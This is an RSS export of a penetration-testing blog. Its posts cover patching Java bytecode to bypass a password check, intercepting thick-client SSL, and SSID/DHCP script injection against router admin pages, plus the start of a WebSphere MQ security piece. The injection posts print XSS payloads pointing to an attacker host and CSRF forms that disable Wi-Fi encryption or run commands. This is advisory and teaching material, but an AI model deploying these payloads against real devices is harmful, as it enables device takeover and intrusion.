<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>usefulfor.com/security &#187; hack-fu</title>
	<atom:link href="http://usefulfor.com/security/category/hack-fu/feed/" rel="self" type="application/rss+xml" />
	<link>http://usefulfor.com/security</link>
	<description>security dojo</description>
	<lastBuildDate>Wed, 16 Jun 2010 15:47:19 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Java Bytecode Injection</title>
		<link>http://usefulfor.com/security/2009/10/26/java-bytecode-injection/</link>
		<comments>http://usefulfor.com/security/2009/10/26/java-bytecode-injection/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 10:58:20 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[hack-fu]]></category>
		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=149</guid>
		<description><![CDATA[When assessing the security posture of a Java thick application we can usually process the code through a decompiler (such as Jad) and have a proper look at the code. It may be the case that we need to bypass the SSL checks but that is usually it.
However, every now and then, we stumble upon [...]]]></description>
			<content:encoded><![CDATA[<p>When assessing the security posture of a Java thick application we can usually process the code through a decompiler (such as <a href="http://www.varaneckas.com/jad">Jad</a>) and have a proper look at the code. It may be the case that we need to <a href="http://usefulfor.com/security/2009/06/23/bypassing-java-thick-client-ssl-checks/">bypass the SSL checks</a> but that is usually it.</p>
<p>However, every now and then, we stumble upon more complex scenarios, for instance, an application whose code has been obfuscated causing decompilation errors. In that case it will no longer be enough to decompile, modify the code and compile again, we would need some other technique. Patching the .class file at the bytecode level sounds like a reasonable approach.<br />
<span id="more-149"></span><br />
Imagine that the class below (<code>Protected</code>) represents the original class we are dealing with. Remember that we would not have access to this code, instead, we would have been given a compiled an obfuscated version of it (different method names, class names and variable names). Also imagine that the class is substantially more complex and has a number of obscure routines that break the decompilation process.</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.util.Random</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #000000; font-weight: bold;">Protected</span>
<span style="color: #009900;">&#123;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">boolean</span> checkPassword<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> password<span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">return</span> <span style="color: #003399;">String</span>.<span style="color: #006633;">valueOf</span><span style="color: #009900;">&#40;</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">Random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">nextInt</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>.<span style="color: #006633;">equals</span><span style="color: #009900;">&#40;</span>password<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> argv<span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>argv.<span style="color: #006633;">length</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">System</span>.<span style="color: #006633;">err</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>quote<span style="color: #339933;">;</span>Please provide a password.<span style="color: #339933;">&amp;</span>quote<span style="color: #339933;">;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000000; font-weight: bold;">return</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span> checkPassword<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Success&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000000; font-weight: bold;">else</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Failure&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>When compiled (<code>javac Protected.java</code>) and run, the result would be as follows:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ java Protected p4ssword
Failure</pre></div></div>

<p>In the obfuscated code scenario you would need to use debugging techniques to identify the relevant code (checkout <a href="http://code.google.com/p/jswat/">JSwat</a> for this). So, after hours of going through the decompiled obfuscated code, we have managed to identify that <code>Protected</code> is the class and <code>checkPassword()</code> is the method we want to focus our attention on.</p>
<p>In order to inject at the bytecode level we are going to use <a href="http://www.csg.is.titech.ac.jp/~chiba/javassist/">Javassist</a>, the Java Programming Assistant. From their website:</p>
<blockquote><p>
[...] it enables Java programs to define a new class at runtime and to modify a class file when the <acronym title="Java Virtual Machine">JVM</acronym> loads it.
</p></blockquote>
<p>Which is exactly what we want to do <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  So here is how you would bypass the <code>checkPassword</code> method by manipulating the bytecode of the class:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">javassist.*</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> Injector
<span style="color: #009900;">&#123;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> argv<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">Exception</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">// Load the 'Protected' class representation</span>
    ClassPool pool <span style="color: #339933;">=</span> ClassPool.<span style="color: #006633;">getDefault</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CtClass cc <span style="color: #339933;">=</span> pool.<span style="color: #006633;">get</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Protected&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// Find the method we want to patch and rename it </span>
    <span style="color: #666666; font-style: italic;">// (we will be creating a new method with the original name).</span>
    CtMethod m_old <span style="color: #339933;">=</span> cc.<span style="color: #006633;">getDeclaredMethod</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;checkPassword&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    m_old.<span style="color: #006633;">setName</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;checkPassword$impl&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// Create a new method with the same name as the old one</span>
    CtMethod m_new <span style="color: #339933;">=</span> CtNewMethod.<span style="color: #006633;">copy</span><span style="color: #009900;">&#40;</span>m_old, <span style="color: #0000ff;">&quot;checkPassword&quot;</span>, cc, <span style="color: #000066; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// Provide the new method's implementation</span>
    StringBuilder sb <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> StringBuilder<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    sb.<span style="color: #006633;">append</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;{ return true; }&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    m_new.<span style="color: #006633;">setBody</span><span style="color: #009900;">&#40;</span> sb.<span style="color: #006633;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// Add the new method to the class. Patch the .class file</span>
    cc.<span style="color: #006633;">addMethod</span><span style="color: #009900;">&#40;</span> m_new <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    cc.<span style="color: #006633;">writeFile</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Injection  complete. List of methods:&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CtMethod<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> methods <span style="color: #339933;">=</span> cc.<span style="color: #006633;">getDeclaredMethods</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span> <span style="color: #000066; font-weight: bold;">int</span> i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span>methods.<span style="color: #006633;">length</span> <span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span> <span style="color: #339933;">+</span> methods<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #006633;">getLongName</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>When run, the <code>Injector</code> application will patch the <code>Protected.class</code> file with a new implementation of the <code>checkPassword()</code> method.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ javac <span style="color: #660033;">-cp</span> .:javassist.jar Injector.java
$ java <span style="color: #660033;">-cp</span> .:javaassist.jar Injector
Injection complete. Methods <span style="color: #000000; font-weight: bold;">in</span> class Protected:
    Protected.checkPassword<span style="color: #007800;">$impl</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>java.lang.String<span style="color: #7a0874; font-weight: bold;">&#41;</span>
    Protected.main<span style="color: #7a0874; font-weight: bold;">&#40;</span>java.lang.String<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
    Protected.checkPassword<span style="color: #7a0874; font-weight: bold;">&#40;</span>java.lang.String<span style="color: #7a0874; font-weight: bold;">&#41;</span>
$ java Protected p4ssword
Success</pre></div></div>

<p>This is just a simple example of what can be accomplished with a framework such as Javassist. Check the <strong>References</strong> section below for additional information.</p>
<h3>References</h3>
<ul>
<li>Sample code at GitHub: <a href="http://github.com/usefulfor/usefulfor/tree/6c7afe339923b13a4ea71574c856edd6546010d1/security/java_injection">http://github.com/usefulfor/</a></li>
<li><a href="http://www.csg.is.titech.ac.jp/~chiba/javassist/">Javassist</a> (Java Programming Assistant)</li>
<li><a href="http://www.ibm.com/developerworks/java/library/j-dyn0916.html">Class transformation with Javassist</a></li>
</ul>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=149&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2009/10/26/java-bytecode-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bypassing Java thick client SSL checks</title>
		<link>http://usefulfor.com/security/2009/06/23/bypassing-java-thick-client-ssl-checks/</link>
		<comments>http://usefulfor.com/security/2009/06/23/bypassing-java-thick-client-ssl-checks/#comments</comments>
		<pubDate>Tue, 23 Jun 2009 18:20:36 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=110</guid>
		<description><![CDATA[x509 certificate generation
Generate the certificate using OpenSSL:-

$ openssl genrsa 1024 &#62; foo.key
$ openssl req -new -x509 -nodes -sha1 -days 7300 -key foo.key &#62; foo.crt
$ openssl pkcs12 -export -out foo.p12 -in foo.crt -inkey foo.key -name &#34;your name&#34;

You will need the .p12 file (contains key and certificate) to configure Burp. And the .crt file to add it [...]]]></description>
			<content:encoded><![CDATA[<h2>x509 certificate generation</h2>
<p>Generate the certificate using <a href="http://www.openssl.org/">OpenSSL</a>:-</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ openssl genrsa <span style="color: #000000;">1024</span> <span style="color: #000000; font-weight: bold;">&gt;</span> foo.key
$ openssl req <span style="color: #660033;">-new</span> <span style="color: #660033;">-x509</span> <span style="color: #660033;">-nodes</span> <span style="color: #660033;">-sha1</span> <span style="color: #660033;">-days</span> <span style="color: #000000;">7300</span> <span style="color: #660033;">-key</span> foo.key <span style="color: #000000; font-weight: bold;">&gt;</span> foo.crt
$ openssl pkcs12 <span style="color: #660033;">-export</span> <span style="color: #660033;">-out</span> foo.p12 <span style="color: #660033;">-in</span> foo.crt <span style="color: #660033;">-inkey</span> foo.key <span style="color: #660033;">-name</span> <span style="color: #ff0000;">&quot;your name&quot;</span></pre></div></div>

<p>You will need the .p12 file (contains key and certificate) to configure <a href="http://portswigger.net/suite/">Burp</a>. And the .crt file to add it to the Java <em>keystore</em> used by the client. Checkout <a href="http://portswigger.net/proxy/help.html">Burp's help page</a> for instructions on how to get the first done.</p>
<h2>Create a Java <em>keystore</em>, import the certificate</h2>
<p>Straightforward enough (just remember the password you entered):</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">keytool.exe <span style="color: #660033;">-import</span> <span style="color: #660033;">-file</span> foo.crt <span style="color: #660033;">-keystore</span> usefulfor.jks <span style="color: #660033;">-alias</span> burpcert</pre></div></div>

<h2>Run the application and point it to your keystore</h2>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">java \
  -Djavax.net.ssl.trustStore=usefulfor.jks \
  -Djavax.net.ssl.trustStorePassword=password \
  -Djavax.net.debug=all  \
  com.usefulfor.Demo</pre></div></div>

<p>Other interesting properties that you may need in order to further tweak the SSL configuration are <code>javax.net.ssl.keyStore</code> and <code>javax.net.ssl.keyStorePassword</code>.</p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=110&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2009/06/23/bypassing-java-thick-client-ssl-checks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSID Script Injection</title>
		<link>http://usefulfor.com/security/2008/08/04/ssid-script-injection/</link>
		<comments>http://usefulfor.com/security/2008/08/04/ssid-script-injection/#comments</comments>
		<pubDate>Mon, 04 Aug 2008 09:41:22 +0000</pubDate>
		<dc:creator>rdv</dc:creator>
				<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=94</guid>
		<description><![CDATA[The administrative web interfaces for many wireless access points (APs) provide users with ‘Neighbourhood Wireless Scan’ functionality. This functionality scans for all accessible APs and displays the details of any APs which are identified. However, examination of these administrative interfaces revealed that a large number of them do not properly sanitise the parameters that are [...]]]></description>
			<content:encoded><![CDATA[<p>The administrative web interfaces for many wireless access points (APs) provide users with ‘Neighbourhood Wireless Scan’ functionality. This functionality scans for all accessible APs and displays the details of any APs which are identified. However, examination of these administrative interfaces revealed that a large number of them do not properly sanitise the parameters that are passed to them from any accessible APs.</p>
<p>An attacker could set up a fake AP with a malicious payload in the Service Set Identifier (SSID). The malicious SSID would be displayed in the ‘Neighbour’s Access Points Table’ page of the administrative interface and would be executed when an administrator scanned for APs.<span id="more-94"></span></p>
<p><strong>Circumstances</strong></p>
<p>Device providing an administrative web interface with a ‘Neighbourhood Wireless Scan’ functionality.</p>
<p><strong>Cause</strong></p>
<p>The device administrative web interface does not properly sanitise parameters that are passed to it from identified access points.</p>
<p><strong>Exploitation</strong></p>
<p>An attacker could set up a fake access point broadcasting specially crafted 802.11 ‘beacon’<br />
packets containing a malicious payload in the SSID.</p>
<p>The malicious SSID will be displayed in the ‘Neighbor’s Wireless Networks’ page of the affected device administrative interface and will be executed when an administrator scans for wireless access points.</p>
<p><strong>Impact</strong></p>
<p>Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could fully compromise the affected system.</p>
<p><strong>Dependencies</strong></p>
<ul>
<li> The attacker would need to be in wireless range of the affected device. However, nowadays, antennas are available which can dramatically increase the distance that can exist between an attacker and their target</li>
<li> SSIDs have a maximum length of 32 characters and this would not normally be sufficient to inject a usable malicious payload for an attack. However, an attacker could set up two fake access points and deliver a payload using the combined content of both SSIDs. A payload of 64 characters would be enough to redirect a user’s browser to a malicious web server.</li>
</ul>
<p><strong>Attack Technique</strong></p>
<p>1. An attacker sets up two fake AP broadcasting specially crafted 802.11 beacon packets containing a malicious payload in the SSID</p>
<p>SSID of the first access point: -</p>
<p><code>&lt;script&gt;location=/*</code></p>
<p>SSID of the second access point: -</p>
<p><code>*/"http://attacker";&lt;/script&gt;</code></p>
<p>A malicious SSID combined together with the use of JavaScript comment tags (/* */) will make the following payload usable in an attack.</p>
<p><code>&lt;script&gt;location="http://attacker";&lt;/script&gt;</code></p>
<p>2. This malicious SSIDs will be displayed in the 'Neighbour's Wireless' page of the affected device administrative interdace and will be executed when an administrator scans for wireless APs</p>
<p>3. The malicious payload references to a script hosted in the attacker's web server. Below it can be seen an example of the malicious script hosted in the attacker's web server.  This code will vary depending on the affected device.</p>
<p><code>&lt;html&gt;<br />
&lt;body onload="javascript:document.forms.wpa.submit();"&gt;<br />
&lt;form name="wpa" action="http://192.168.1.1/<strong>apply.cgi</strong>" method="POST"&gt;<br />
&lt;input type="hidden" name="submit_button" value="WL_WPATable" /&gt;<br />
&lt;input type="hidden" name="action" value="ApplyTake" /&gt;<br />
&lt;input type="hidden" name="change_action" value="gozila_cgi" /&gt;<br />
&lt;input type="hidden" name="submit_type" value="save" /&gt;<br />
&lt;input type="hidden" name="security_varname" /&gt;<br />
&lt;input type="hidden" name="security_mode_last" /&gt;<br />
&lt;input type="hidden" name="wl_wep_last" /&gt;<br />
&lt;input type="hidden" name="filter_mac_value" /&gt;<br />
&lt;input type="hidden" name="wl0_security_mode" value="<strong>disable</strong>" /&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</code></p>
<p>4. The malicious script hosted in the attacker's web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator's browser to make a POST request to the wireless encryption functionality (apply.cgi) and disables the device's wireless encryption.</p>
<p style="text-align: center"><a href="http://usefulfor.com/security/files/2008/08/ssid-diagram.jpg"><img class="alignnone size-medium wp-image-98 aligncenter" src="http://usefulfor.com/security/files/2008/08/ssid-diagram.jpg" alt="" width="500" height="280" /></a></p>
<p style="text-align: left">
<p><strong>Tool:</strong> SSID Script Injection <a href="http://www.mwrinfosecurity.com/publications/ssidattack.tar">[1]</a></p>
<p><strong>Advisory:</strong> DD-WRT SSID Script Injection Vulnerability <a href="http://www.mwrinfosecurity.com/publications/mwri_dd-wrt-ssid-script-injection_2008-07-24.pdf">[1]</a></p>
<p><strong> Demo:</strong> DD-WRT SSID Script Injection Attack <a href="http://www.mwrinfosecurity.com/publications/dd-wrt.htm">[1]</a></p>
<p><strong>White paper:</strong> Behind Enemy Lines <a href="http://www.mwrinfosecurity.com/publications/mwri_behind-enemy-lines_2008-07-25.pdf">[1]</a> <a href="http://usefulfor.com/security/files/2008/08/mwri_behind-enemy-lines_2008-07-25.pdf">[2]</a></p>
<p style="text-align: left">
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=94&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/08/04/ssid-script-injection/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>DHCP Script Injection</title>
		<link>http://usefulfor.com/security/2008/08/04/dhcp-script-injection/</link>
		<comments>http://usefulfor.com/security/2008/08/04/dhcp-script-injection/#comments</comments>
		<pubDate>Mon, 04 Aug 2008 09:39:45 +0000</pubDate>
		<dc:creator>rdv</dc:creator>
				<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=93</guid>
		<description><![CDATA[A number of administrative applications are available which allow users to manage a network DHCP server via a web interface. This allows administrators to set up configuration options and view active DHCP leases.
it was found that a large number of these administrative web applications did not properly sanitise parameters that were passed to them from [...]]]></description>
			<content:encoded><![CDATA[<p>A number of administrative applications are available which allow users to manage a network DHCP server via a web interface. This allows administrators to set up configuration options and view active DHCP leases.</p>
<p>it was found that a large number of these administrative web applications did not properly sanitise parameters that were passed to them from the DHCP server and therefore an attacker. In particular, a specially crafted DHCPREQUEST message containing malicious JavaScript or HTML code in the DHCP Options Hostname field could be sent to the DHCP server; the malicious code would then be displayed in the DHCP active leases page of the vulnerable administrative application and would be executed when an administrator visited the page.<span id="more-93"></span></p>
<p><strong>Circumstances</strong></p>
<p>Device providing an administrative web interface with a DHCP management functionality.</p>
<p><strong>Cause</strong></p>
<p><strong></strong>The device administrative web interface does not properly sanitise parameters that are passed to it from the DHCP server.</p>
<p><strong>Exploitation</strong></p>
<p><strong></strong>If a specially crafted DHCPREQUEST message containing malicious code in the Hostname DHCP Options field is sent to the affected DHCP server; this will be displayed in the DHCP active leases page of the device administrative interface and will be executed when an administrator visits this page.</p>
<p><strong>Impact</strong></p>
<p><strong></strong>Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could remotely execute commands in the affected system.</p>
<p><strong>Dependencies</strong></p>
<ul>
<li>The attacker would have to be connected to the network segment on which the affected device was located.</li>
<li> The DHCP server would also need to be active and to provide the attacker’s system with an IP address.</li>
</ul>
<p><strong>Attack Technique</strong></p>
<p>1. An attacker connected to the same wired network as the affected device could send a specially crafted DHCPREQUEST message containing a malicious payload in the DHCP Options Hostname field</p>
<p><code>&lt;iframe height=0 width=0 src='http://attacker-web-server/'&gt;</code></p>
<p>2. This payload would then be passed from the DHCP server to the admin web interface and executed when the DHCP active leases page was visited by an administrator</p>
<p>3. The malicious payload in the DHCP Options Hostname field references to a script hosted in the attacker's web server. Below it can be seen an example of the malicious script hosted in the attacker's web server.  This code will vary depending on the affected device.</p>
<p><code>&lt;html&gt;<br />
&lt;body onload="javascript:document.forms.frmExecPlus.submit();"&gt;<br />
&lt;form name="frmExecPlus" action="https://target/<strong>exec.php</strong>" method="POST"&gt;<br />
&lt;input name="txtCommand" type="hyden" size="80" value="<strong>whoami</strong>"&gt;<br />
&lt;input type="hidden" value="Execute"&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;</code></p>
<p>4. The malicious script hosted in the attacker's web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator's browser to make a POST request to the command execution functionality (exec.php) and executes the desired command.</p>
<p style="text-align: center"><a href="http://usefulfor.com/security/files/2008/08/dhcp-diagram.jpg"><img class="alignnone size-medium wp-image-95 aligncenter" src="http://usefulfor.com/security/files/2008/08/dhcp-diagram.jpg" alt="" width="500" height="258" /></a></p>
<p><strong>Tool:</strong> DHCP Script Injection <a href="http://www.mwrinfosecurity.com/publications/dhcpattack.tar">[1]</a><br />
<strong></strong></p>
<p><strong>Advisory:</strong> pfSense DHCP Script Injection Vulnerability <a href="http://www.mwrinfosecurity.com/publications/mwri_pfsense-dhcp-script-injection_2008-07-25.pdf">[1]</a> <a href="http://usefulfor.com/security/files/2008/08/mwri_pfsense-dhcp-script-injection_2008-07-28.pdf">[2]</a><br />
<strong></strong></p>
<p><strong> Demo:</strong> pfSense DHCP Script Injection Attack <a href="http://www.mwrinfosecurity.com/publications/pfsense.htm">[1]</a><br />
<strong></strong></p>
<p><strong>White paper:</strong> Behind Enemy Lines <a href="http://www.mwrinfosecurity.com/publications/mwri_behind-enemy-lines_2008-07-25.pdf">[1]</a> <a href="http://usefulfor.com/security/files/2008/08/mwri_behind-enemy-lines_2008-07-25.pdf">[2]</a></p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=93&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/08/04/dhcp-script-injection/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>middleware and me (part 2)</title>
		<link>http://usefulfor.com/security/2008/07/09/middleware-and-me-part-2/</link>
		<comments>http://usefulfor.com/security/2008/07/09/middleware-and-me-part-2/#comments</comments>
		<pubDate>Wed, 09 Jul 2008 13:54:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=88</guid>
		<description><![CDATA[hack-fu by: rux0r
In the last article (middleware and me (part-1)) we looked at the concept of Middleware security and why it is often a neglected area. In this article we are moving on to look in detail at the security features that can be employed to protect this type of software. For the purposes of [...]]]></description>
			<content:encoded><![CDATA[<p><strong>hack-fu by</strong>: rux0r</p>
<p>In the last article (<a href="/security/2008/05/06/middleware-and-me-part-1">middleware and me (part-1)</a>) we looked at the concept of Middleware security and why it is often a neglected area. In this article we are moving on to look in detail at the security features that can be employed to protect this type of software. For the purposes of these discussions we are going to be focussing on the <a href="http://www-306.ibm.com/software/integration/wmq/">IBM Websphere MQ</a>  product, hopefully in the future I will be able to contrast these discussions against the security controls employed by a number of other messaging technologies.<br />
<span id="more-88"></span><br />
If you are going to understand how to secure an installation of <strong>Websphere MQ</strong> it is important to think about the risks it can expose. Often it is used in critical applications and therefore any vulnerabilities in the technology can be mapped directly to the business risk. In this discussion we are going to focus on our fictional company of <code>Widget Corp</code>. They make widgets which are low cost fixings used for a number of different purposes by a wide range of different customers. </p>
<p>The company is formed of several individual business units and has decided to use <strong>Websphere MQ</strong> in its manufacturing process. The typical business process flow of an individual business unit is as follows: -</p>
<p> <img src="http://usefulfor.com/security/files/2008/07/process.png" alt="A diagram that shows the different processes inside the company, from the customer to the shipping department" width="450" height="102" class="aligncenter size-full wp-image-89" /></p>
<p>For more information about the fictional Widget Corp please refer to the Websphere MQ Security White Paper (<a href="http://www.mwrinfosecurity.com/publications/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf">mirror #1</a>, <a href="http://usefulfor.com/security/files/2008/06/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf">mirror #2</a>).). </p>
<p>Given the importance of this process the greatest risks to the business in order of significance are as follows: -</p>
<ul>
<li><strong>Loss of Availability</strong> – With a low cost and therefore profit per unit it is vital that the number of widgets that are produced is maximised. The transfer of messages from the customers to the manufacturing plant is what keeps this process moving and therefore any unavailability in the system means loss of manufacturing time. In addition, if customers do not receive their orders on time they will take their business elsewhere.</li>
<li><strong>Damage to Integrity</strong> – Customers want their orders when they are promised to them but they also want the correct order to arrive. If the integrity of the message data is affected then orders might not be manufactured, may be delivered to the wrong customer or may contain errors. In any of these situations a customer will not be happy and will turn to an alternative supplier.</li>
<li><strong>Breach of Confidentiality</strong> – The messages being transferred across the business contain a large amount of information that would either be of interest to a competitor or would disclose information about the customer. If this data were obtained it could be used either for competitive advantage or for use in negative publicity against the company. This could result in damage to the brand or more effective competition from other companies in the industry.</li>
